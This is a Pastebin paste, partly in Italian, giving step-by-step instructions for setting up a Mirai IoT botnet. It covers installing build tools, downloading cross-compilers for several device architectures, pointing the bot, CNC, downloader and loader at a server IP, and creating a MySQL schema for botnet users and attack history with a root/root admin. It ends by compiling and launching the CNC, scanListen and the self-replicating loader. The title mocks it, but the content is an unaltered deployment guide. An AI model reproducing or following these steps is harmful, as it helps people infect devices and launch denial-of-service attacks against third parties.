Advertisement
Guest User

mirai setup hall of the shame

a guest
Jul 21st, 2019
410
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.15 KB | None | 0 0
  1. //STEP 1 - INSTALLARE TUTTE LE LIBRERIE
  2.  
  3. yum update -y
  4. yum install epel-release -y
  5. yum groupinstall "Development Tools" -y
  6. yum install gmp-devel -y
  7. ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10
  8. yum install screen wget bzip2 gcc nano gcc-c++ electric-fence sudo git libc6-dev httpd xinetd tftpd tftp-server mysql mysql-server gcc glibc-static -y
  9.  
  10.  
  11. //STEP 2 - DOWNLOADING CROSS COMPILERS/SETTING UP GOLANG
  12.  
  13. mkdir /etc/xcompile
  14. cd /etc/xcompile
  15. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
  16. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  17. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  18. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  19. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  20. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  21. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
  22. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  23. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
  24. wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
  25. wget https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2
  26.  
  27. tar -jxf cross-compiler-i586.tar.bz2
  28. tar -jxf cross-compiler-m68k.tar.bz2
  29. tar -jxf cross-compiler-mips.tar.bz2
  30. tar -jxf cross-compiler-mipsel.tar.bz2
  31. tar -jxf cross-compiler-powerpc.tar.bz2
  32. tar -jxf cross-compiler-sh4.tar.bz2
  33. tar -jxf cross-compiler-sparc.tar.bz2
  34. tar -jxf cross-compiler-armv4l.tar.bz2
  35. tar -jxf cross-compiler-armv5l.tar.bz2
  36. tar -jxf cross-compiler-armv6l.tar.bz2
  37. tar -jxf cross-compiler-armv7l.tar.bz2
  38. rm -rf *.tar.bz2
  39. mv cross-compiler-i586 i586
  40. mv cross-compiler-m68k m68k
  41. mv cross-compiler-mips mips
  42. mv cross-compiler-mipsel mipsel
  43. mv cross-compiler-powerpc powerpc
  44. mv cross-compiler-sh4 sh4
  45. mv cross-compiler-sparc sparc
  46. mv cross-compiler-armv4l armv4l
  47. mv cross-compiler-armv5l armv5l
  48. mv cross-compiler-armv6l armv6l
  49. mv cross-compiler-armv7l armv7l
  50.  
  51. cd /tmp
  52. wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz -q
  53. tar -xzf go1.8.3.linux-amd64.tar.gz
  54. mv go /usr/local
  55. cd ~/
  56.  
  57.  
  58. //STEP 3 - SETTING UP SERVER IP
  59. CHANGE bot/includes.h
  60. CHANGE cnc/main.go
  61. CHANGE dlr/main.c
  62. CHANGE loader/src/main.c
  63. CHANGE scanListen
  64.  
  65.  
  66. //STEP 4 - DATABASE SETUP
  67.  
  68. service mysqld start
  69. mysql_secure_installation
  70. //SETUP A MYSQL PASS HERE AND REMEMBER IT
  71. //NOW LOGIN TO MYSQL
  72. mysql -p<PASS>
  73. //COPY AND PASTE ALL THIS IN THE MYSQL TERMINAL
  74. CREATE DATABASE storm;
  75. use storm;
  76. CREATE TABLE `history` (
  77. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  78. `user_id` int(10) unsigned NOT NULL,
  79. `time_sent` int(10) unsigned NOT NULL,
  80. `duration` int(10) unsigned NOT NULL,
  81. `command` text NOT NULL,
  82. `max_bots` int(11) DEFAULT '-1',
  83. PRIMARY KEY (`id`),
  84. KEY `user_id` (`user_id`)
  85. );
  86.  
  87. CREATE TABLE `users` (
  88. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  89. `username` varchar(32) NOT NULL,
  90. `password` varchar(32) NOT NULL,
  91. `duration_limit` int(10) unsigned DEFAULT NULL,
  92. `cooldown` int(10) unsigned NOT NULL,
  93. `wrc` int(10) unsigned DEFAULT NULL,
  94. `last_paid` int(10) unsigned NOT NULL,
  95. `max_bots` int(11) DEFAULT '-1',
  96. `admin` int(10) unsigned DEFAULT '0',
  97. `intvl` int(10) unsigned DEFAULT '30',
  98. `api_key` text,
  99. PRIMARY KEY (`id`),
  100. KEY `username` (`username`)
  101. );
  102.  
  103. CREATE TABLE `whitelist` (
  104. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  105. `prefix` varchar(16) DEFAULT NULL,
  106. `netmask` tinyint(3) unsigned DEFAULT NULL,
  107. PRIMARY KEY (`id`),
  108. KEY `prefix` (`prefix`)
  109. );
  110. INSERT INTO users VALUES (NULL, 'root', 'root', 0, 0, 0, 0, -1, 1, 30, '');
  111. exit;
  112.  
  113. //NOW PUT THE MYSQL PASSWORD IN THE main.go OF THE CNC.
  114.  
  115. //STEP 4 - COMPILE
  116.  
  117. cd ~/
  118. chmod 0777 * -R
  119. sh build.sh YOUR IP
  120. //Now your mirai is setup you just need to start the cnc and the scanListen
  121.  
  122. screen ./cnc (uscire da putty senza terminare processo e riaprire un'altra sessione putty e fare:
  123. screen ./scanListen | ./loader selfrep
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement